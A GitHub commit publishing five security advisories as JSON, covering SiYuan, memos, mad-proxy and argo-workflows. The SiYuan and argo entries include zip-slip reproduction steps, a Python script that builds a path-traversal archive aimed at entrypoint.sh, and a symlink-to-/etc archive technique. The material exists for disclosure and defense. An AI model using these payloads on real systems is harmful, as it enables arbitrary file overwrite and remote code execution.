Skip to content

Commit b70f1fe

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-4r66-7rcv-x46x GHSA-99m2-qwx6-2w6f GHSA-gqfv-g4v7-m366 GHSA-wx63-35hw-2482 GHSA-xrqc-7xgx-c9vh
1 parent c392195 commit b70f1fe

File tree

5 files changed

+316
-6
lines changed

5 files changed

+316
-6
lines changed

‎advisories/github-reviewed/2025/12/GHSA-4r66-7rcv-x46x/GHSA-4r66-7rcv-x46x.json‎

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4r66-7rcv-x46x",
4+
"modified": "2025-12-09T17:18:16Z",
5+
"published": "2025-12-09T17:18:16Z",
6+
"aliases": [],
7+
"summary": "SiYuan vulnerable to RCE via zip slip and Command Injection via PandocBin",
8+
"details": "### Summary\nSiyuan is vulnerable to RCE. The issue stems from a \"Zip Slip\" vulnerability during zip file extraction, combined with the ability to overwrite system executables and subsequently trigger their execution.\n\n### Steps to reproduce\n1. Authenticate\n2. Create zip slip payload with path traversal entry `../../../../opt/siyuan/startup.sh`. startup.sh contains malicious code like:\n```bash\n#!/bin/sh\necho 'you have been pwned' > /siyuan/workspace/data/pwned.txt\necho \"pandoc 3.1.0\"\n```\n3. Upload zip to workspace via `/api/file/putFile`\n4. Extract zip via `/api/archive/unzip`, overwrites the existing executable `startup.sh` while maintaining the +x permission\n5. Trigger execution by calling `/api/setting/setExport` with `pandocBin=/opt/siyuan/startup.sh`. This calls `IsValidPandocBin()` which executes `startup.sh --version` that outputs \"pandoc 3.1.0\" and executes any arbitrary malicious code",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/siyuan-note/siyuan/kernel"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "0.0.0-20251202123337-6ef83b42c7ce"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4r66-7rcv-x46x"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/siyuan-note/siyuan"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-22"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2025-12-09T17:18:16Z",
53+
"nvd_published_at": null
54+
}
55+
}

advisories/unreviewed/2025/12/GHSA-99m2-qwx6-2w6f/GHSA-99m2-qwx6-2w6f.json renamed to advisories/github-reviewed/2025/12/GHSA-99m2-qwx6-2w6f/GHSA-99m2-qwx6-2w6f.json

Lines changed: 35 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-99m2-qwx6-2w6f",
4-
"modified": "2025-12-08T21:30:22Z",
4+
"modified": "2025-12-09T17:18:37Z",
55
"published": "2025-12-08T18:30:44Z",
66
"aliases": [
77
"CVE-2025-65797"
88
],
9+
"summary": "memos vulnerability allows arbitrarily modification or deletion registered identity providers",
910
"details": "Incorrect access control in the Identity Provider service of usememos memos v0.25.2 allows attackers with low-level privileges to arbitrarily modify or delete registered identity providers, leading to an account takeover or Denial of Service (DoS).",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
13-
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/usememos/memos"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.25.3"
32+
}
33+
]
34+
}
35+
]
1436
}
1537
],
16-
"affected": [],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
@@ -23,6 +44,14 @@
2344
"type": "WEB",
2445
"url": "https://github.com/usememos/memos/pull/5217"
2546
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/usememos/memos/commit/769dcd0cf9be83d472829f6e7903b201e42f6b3c"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/usememos/memos"
54+
},
2655
{
2756
"type": "WEB",
2857
"url": "https://herolab.usd.de/security-advisories/usd-2025-0057"
@@ -40,9 +69,9 @@
4069
"cwe_ids": [
4170
"CWE-284"
4271
],
43-
"severity": "HIGH",
44-
"github_reviewed": false,
45-
"github_reviewed_at": null,
72+
"severity": "MODERATE",
73+
"github_reviewed": true,
74+
"github_reviewed_at": "2025-12-09T17:18:36Z",
4675
"nvd_published_at": "2025-12-08T17:16:21Z"
4776
}
4877
}

‎advisories/github-reviewed/2025/12/GHSA-gqfv-g4v7-m366/GHSA-gqfv-g4v7-m366.json‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gqfv-g4v7-m366",
4+
"modified": "2025-12-09T17:18:04Z",
5+
"published": "2025-12-09T17:18:04Z",
6+
"aliases": [
7+
"CVE-2025-67488"
8+
],
9+
"summary": "SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE",
10+
"details": "### Summary\nFunction [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system.\n\n### Details\nAn authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution.\n\n### PoC\nCode used to generate the ZipSlip:\n```python\n#!/usr/bin/env python3\nimport sys, base64, zipfile, io, time\n\ndef prepare_zipslip(filename):\n orgfile1 = open('Test.md','rb').read()\n payload = open('entrypoint.sh','rb').read() #b\"testpayload\"\n \n zipslip = io.BytesIO()\n with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf: \n info = zipfile.ZipInfo('Test.md')\n mtime = time.time()\n t = time.localtime(mtime)\n info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n zipf.writestr(info, orgfile1)\n \n info = zipfile.ZipInfo(filename)\n mtime = time.time()\n t = time.localtime(mtime)\n info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n zipf.writestr(info, payload)\n return zipslip.getvalue()\n\ngz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')\nopen('exp.zip', 'wb').write(gz)\n```\n\n### Impact\nThe exploit is possible only if the attacker has access to **import** functionality. It's possible to achieve code execution and some persistence within the container",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/siyuan-note/siyuan/kernel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.0.0-20251202123337-6ef83b42c7ce"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/siyuan-note/siyuan"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-22"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2025-12-09T17:18:04Z",
59+
"nvd_published_at": null
60+
}
61+
}

‎advisories/github-reviewed/2025/12/GHSA-wx63-35hw-2482/GHSA-wx63-35hw-2482.json‎

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-wx63-35hw-2482",
4+
"modified": "2025-12-09T17:17:48Z",
5+
"published": "2025-12-09T17:17:48Z",
6+
"aliases": [
7+
"CVE-2025-67485"
8+
],
9+
"summary": "HTTP/HTTPS Traffic Interception Bypass in mad-proxy",
10+
"details": "A vulnerability in mad-proxy versions <= 0.3 allows attackers to bypass HTTP/HTTPS traffic interception rules, potentially exposing sensitive traffic.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "mad-proxy"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/machphy/mad-proxy/security/advisories/GHSA-wx63-35hw-2482"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/machphy/mad-proxy"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-693"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2025-12-09T17:17:48Z",
55+
"nvd_published_at": null
56+
}
57+
}

‎advisories/github-reviewed/2025/12/GHSA-xrqc-7xgx-c9vh/GHSA-xrqc-7xgx-c9vh.json‎

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xrqc-7xgx-c9vh",
4+
"modified": "2025-12-09T17:17:22Z",
5+
"published": "2025-12-09T17:17:22Z",
6+
"aliases": [
7+
"CVE-2025-66626"
8+
],
9+
"summary": " RCE via ZipSlip and symbolic links in argoproj/argo-workflows",
10+
"details": "### Summary\nThe patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links.\n\n### Details\nThe untar code that handles symbolic links in archives is unsafe. Concretely, the computation of the link's target and the subsequent check are flawed: \nhttps://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037\n\n### PoC\n1. Create a malicious archive containing two files: a symbolik link with path \"./work/foo\" and target \"/etc\", and a normal text file with path \"./work/foo/hostname\".\n2. Deploy a workflow like the one in https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf with the malicious archive mounted at /work/tmp.\n3. Submit the workflow and wait for its execution. \n4. Connect to the corresponding pod and observe that the file \"/etc/hostname\" was altered by the untar operation performed on the malicious archive. The attacker can hence alter arbitrary files in this way. \n\n### Impact\nThe attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which will be executed at the pod's start.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/argoproj/argo-workflows/v3"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "3.7.0"
29+
},
30+
{
31+
"fixed": "3.7.5"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/argoproj/argo-workflows/v3"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0"
48+
},
49+
{
50+
"fixed": "3.6.14"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Go",
59+
"name": "github.com/argoproj/argo-workflows"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "0"
67+
},
68+
{
69+
"last_affected": "2.5.3-rc4"
70+
}
71+
]
72+
}
73+
]
74+
}
75+
],
76+
"references": [
77+
{
78+
"type": "WEB",
79+
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xrqc-7xgx-c9vh"
80+
},
81+
{
82+
"type": "WEB",
83+
"url": "https://github.com/argoproj/argo-workflows/commit/6b92af23f35aed4d4de8b04adcaf19d68f006de1"
84+
},
85+
{
86+
"type": "ADVISORY",
87+
"url": "https://github.com/advisories/GHSA-p84v-gxvw-73pf"
88+
},
89+
{
90+
"type": "PACKAGE",
91+
"url": "https://github.com/argoproj/argo-workflows"
92+
},
93+
{
94+
"type": "WEB",
95+
"url": "https://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037"
96+
}
97+
],
98+
"database_specific": {
99+
"cwe_ids": [
100+
"CWE-23",
101+
"CWE-78"
102+
],
103+
"severity": "HIGH",
104+
"github_reviewed": true,
105+
"github_reviewed_at": "2025-12-09T17:17:22Z",
106+
"nvd_published_at": null
107+
}
108+
}

0 commit comments

Comments
 (0)